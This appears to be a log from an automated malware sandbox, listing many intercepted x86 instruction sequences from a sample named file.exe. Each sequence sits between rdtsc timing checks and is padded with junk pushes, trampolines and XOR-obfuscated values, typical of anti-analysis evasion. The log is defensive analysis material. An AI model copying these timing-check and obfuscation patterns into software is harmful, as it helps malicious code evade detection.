Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEB0F second address: CEEB7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 35D15B89h 0x00000010 mov dword ptr [ebp+122D347Ch], esi 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F1674F90E18h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 add ecx, 2D153BBAh 0x00000038 movzx ecx, bx 0x0000003b push 00000000h 0x0000003d mov dword ptr [ebp+122D1963h], ebx 0x00000043 push 00000003h 0x00000045 jl 00007F1674F90E1Ch 0x0000004b mov dword ptr [ebp+122D1904h], ecx 0x00000051 push E3AD49C1h 0x00000056 js 00007F1674F90E20h 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEC2B second address: CEEC35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F1675279DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEC35 second address: CEEC96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F1674F90E18h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov si, 87F0h 0x0000002c push 00000000h 0x0000002e jmp 00007F1674F90E25h 0x00000033 push C52C45DCh 0x00000038 pushad 0x00000039 pushad 0x0000003a push ecx 0x0000003b pop ecx 0x0000003c push eax 0x0000003d pop eax 0x0000003e popad 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEC96 second address: CEEC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEC9A second address: CEECFA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 3AD3BAA4h 0x0000000e add edx, 79098B00h 0x00000014 mov dword ptr [ebp+122D1BA9h], ebx 0x0000001a push 00000003h 0x0000001c movsx edx, dx 0x0000001f push 00000000h 0x00000021 jno 00007F1674F90E1Bh 0x00000027 add cx, 79EEh 0x0000002c mov dx, cx 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F1674F90E18h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b push ECE973F1h 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEECFA second address: CEED04 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1675279DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEED8C second address: CEEE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1674F90E1Ch 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e xor dword ptr [ebp+122D1D0Dh], esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F1674F90E18h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 push B039E4F8h 0x00000035 pushad 0x00000036 jmp 00007F1674F90E27h 0x0000003b jng 00007F1674F90E29h 0x00000041 jmp 00007F1674F90E23h 0x00000046 popad 0x00000047 add dword ptr [esp], 4FC61B88h 0x0000004e jmp 00007F1674F90E21h 0x00000053 push 00000003h 0x00000055 push 00000000h 0x00000057 mov ch, dh 0x00000059 push 00000003h 0x0000005b mov edx, 2084BF74h 0x00000060 call 00007F1674F90E19h 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEE33 second address: CEEE44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEE44 second address: CEEEA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F1674F90E16h 0x00000009 jmp 00007F1674F90E20h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007F1674F90E25h 0x00000018 jmp 00007F1674F90E1Ch 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 pushad 0x00000023 jmp 00007F1674F90E25h 0x00000028 push esi 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEEA1 second address: CEEEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEEAF second address: CEEEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEEB3 second address: CEEEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEEB9 second address: CEEF5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push ebx 0x0000000e jng 00007F1674F90E18h 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 pop eax 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F1674F90E18h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 ja 00007F1674F90E29h 0x00000038 lea ebx, dword ptr [ebp+124509D3h] 0x0000003e push 00000000h 0x00000040 push esi 0x00000041 call 00007F1674F90E18h 0x00000046 pop esi 0x00000047 mov dword ptr [esp+04h], esi 0x0000004b add dword ptr [esp+04h], 00000016h 0x00000053 inc esi 0x00000054 push esi 0x00000055 ret 0x00000056 pop esi 0x00000057 ret 0x00000058 movzx edi, ax 0x0000005b xchg eax, ebx 0x0000005c pushad 0x0000005d push eax 0x0000005e jmp 00007F1674F90E26h 0x00000063 pop eax 0x00000064 pushad 0x00000065 push esi 0x00000066 pop esi 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEF5D second address: CEEF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEF69 second address: CEEF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEEF6E second address: CEEF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E285 second address: D0E289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E289 second address: D0E297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F1675279DA8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E297 second address: D0E2A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F1674F90E16h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E2A4 second address: D0E2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1675279DA6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1675279DA6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E2B9 second address: D0E2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E529 second address: D0E57C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F1675279DB8h 0x0000000a pop ebx 0x0000000b pushad 0x0000000c je 00007F1675279DA6h 0x00000012 pushad 0x00000013 popad 0x00000014 jo 00007F1675279DA6h 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f pushad 0x00000020 pushad 0x00000021 je 00007F1675279DA6h 0x00000027 jmp 00007F1675279DB7h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E57C second address: D0E5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F1674F90E1Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007F1674F90E16h 0x00000013 pushad 0x00000014 jmp 00007F1674F90E20h 0x00000019 ja 00007F1674F90E16h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0EB57 second address: D0EB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1675279DB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0EB6B second address: D0EB71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0EE95 second address: D0EEA0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007F1675279DA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0EEA0 second address: D0EEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jmp 00007F1674F90E1Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0EFE3 second address: D0F01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1675279DACh 0x00000009 jmp 00007F1675279DB8h 0x0000000e jg 00007F1675279DA6h 0x00000014 popad 0x00000015 pushad 0x00000016 jl 00007F1675279DA6h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F01D second address: D0F023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F023 second address: D0F043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1675279DB7h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F043 second address: D0F047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F2CA second address: D0F2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F413 second address: D0F41D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1674F90E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F41D second address: D0F423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F423 second address: D0F42D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F42D second address: D0F431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0716C second address: D07172 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07172 second address: D0717D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007F1675279DA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0717D second address: D07188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07188 second address: D0718E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F5AF second address: D0F5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F5B6 second address: D0F5D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jg 00007F1675279DA6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F1675279DAFh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0F5D2 second address: D0F5D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FBAA second address: D0FBFB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1675279DCCh 0x00000008 jmp 00007F1675279DADh 0x0000000d jmp 00007F1675279DB9h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007F1675279DBFh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FEC3 second address: D0FECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1674F90E16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FECE second address: D0FF04 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1675279DACh 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F1675279DB7h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FF04 second address: D0FF08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FF08 second address: D0FF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1675279DAEh 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1008D second address: D10091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D10091 second address: D100A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F1675279DACh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D100A1 second address: D100A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D12DF1 second address: D12DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D156C5 second address: D156CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D156CF second address: D156D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BEEC second address: D1BEF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BEF2 second address: D1BEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1BEFB second address: D1BF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1674F90E1Eh 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F1674F90E28h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C35F second address: D1C380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F1675279DA6h 0x0000000d jmp 00007F1675279DB3h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C380 second address: D1C385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1C385 second address: D1C3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F1675279DA6h 0x0000000a jmp 00007F1675279DAFh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D209 second address: D1D26E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1674F90E1Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 1D091A3Dh 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F1674F90E18h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov esi, dword ptr [ebp+122D394Eh] 0x00000034 pushad 0x00000035 mov ecx, 1F15945Bh 0x0000003a mov edi, dword ptr [ebp+122D365Ah] 0x00000040 popad 0x00000041 mov esi, dword ptr [ebp+122D37B2h] 0x00000047 push 30C13DCCh 0x0000004c push eax 0x0000004d push edx 0x0000004e jp 00007F1674F90E18h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D5C7 second address: D1D5D1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1675279DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D8C7 second address: D1D8CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D8CC second address: D1D8D6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1675279DACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DDC0 second address: D1DDCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1674F90E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE67 second address: D1DE6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE6D second address: D1DE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1DE71 second address: D1DE82 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1675279DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E107 second address: D1E116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F1674F90E1Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1E285 second address: D1E28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F930 second address: D1F934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F934 second address: D1F949 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F949 second address: D1F954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F1674F90E16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D209EC second address: D209F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D209F2 second address: D209F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D209F8 second address: D209FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D209FC second address: D20A80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1674F90E20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F1674F90E18h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 cmc 0x00000027 push 00000000h 0x00000029 mov esi, dword ptr [ebp+122D1920h] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F1674F90E18h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000015h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b or dword ptr [ebp+122D17C0h], edi 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 jmp 00007F1674F90E26h 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23037 second address: D2305A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1675279DB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F1675279DA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D22DC1 second address: D22DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2503F second address: D25051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1675279DABh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D25051 second address: D25055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
